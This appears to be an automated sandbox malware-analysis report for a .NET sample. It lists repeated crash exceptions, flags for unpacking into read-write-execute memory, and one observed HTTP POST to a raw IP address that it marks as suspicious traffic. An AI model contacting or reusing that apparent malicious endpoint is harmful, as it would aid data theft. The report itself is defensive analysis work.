__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4c45e 0xf4bd19 0xf4702d 0xf45ba1 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531484 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531492 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40652432 registers.ecx: 43130208	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4c45e 0xf4bd19 0xf47045 0xf45ba1 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531484 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531492 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40652432 registers.ecx: 44538636	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4c45e 0xf4bd19 0xf47045 0xf45ba1 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531484 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531492 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40652432 registers.ecx: 45885400	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4cd8a 0xf4c731 0xf4702d 0xf45cbc 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531536 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531544 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40652432 registers.ecx: 41202108	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4cd8a 0xf4c731 0xf47045 0xf45cbc 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531536 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531544 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40641440 registers.ecx: 42596032	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4cd8a 0xf4c731 0xf47045 0xf45cbc 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531536 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531544 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40641440 registers.ecx: 43989680	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4d49c 0xf4cef9 0xf4702d 0xf45dc2 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531568 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531576 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40641440 registers.ecx: 45383464	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4d49c 0xf4cef9 0xf47045 0xf45dc2 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531568 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531576 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40641440 registers.ecx: 41649064	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4d49c 0xf4cef9 0xf47045 0xf45dc2 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531568 registers.edi: 3531876 registers.eax: 0 registers.ebp: 3531576 registers.edx: 0 registers.ebx: 3534756 registers.esi: 40641440 registers.ecx: 43045336	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf4e823 0xf4ddce 0xf443d9 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3532660 registers.edi: 3532924 registers.eax: 0 registers.ebp: 3532668 registers.edx: 0 registers.ebx: 3534756 registers.esi: 43614244 registers.ecx: 43621220	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, Connection to IP address

suspicious_request

POST http://5.42.92.211/loghub/master

Performs some HTTP requests (1 event)

request

POST http://5.42.92.211/loghub/master

Sends data using the HTTP POST Method (1 event)

request

POST http://5.42.92.211/loghub/master

Allocates read-write-execute memory (usually to unpack itself) (50 out of 195 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74451000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74421000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76bd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x756f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2324 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74451000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2324 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:43 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73455000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73572000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 1572864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00830000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00970000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73402000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e5b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72dc1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72dc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d8a000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 13, 2023, 7:44 a.m.	process_identifier: 2892 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ece1000 process_handle: 0xffffffff	1
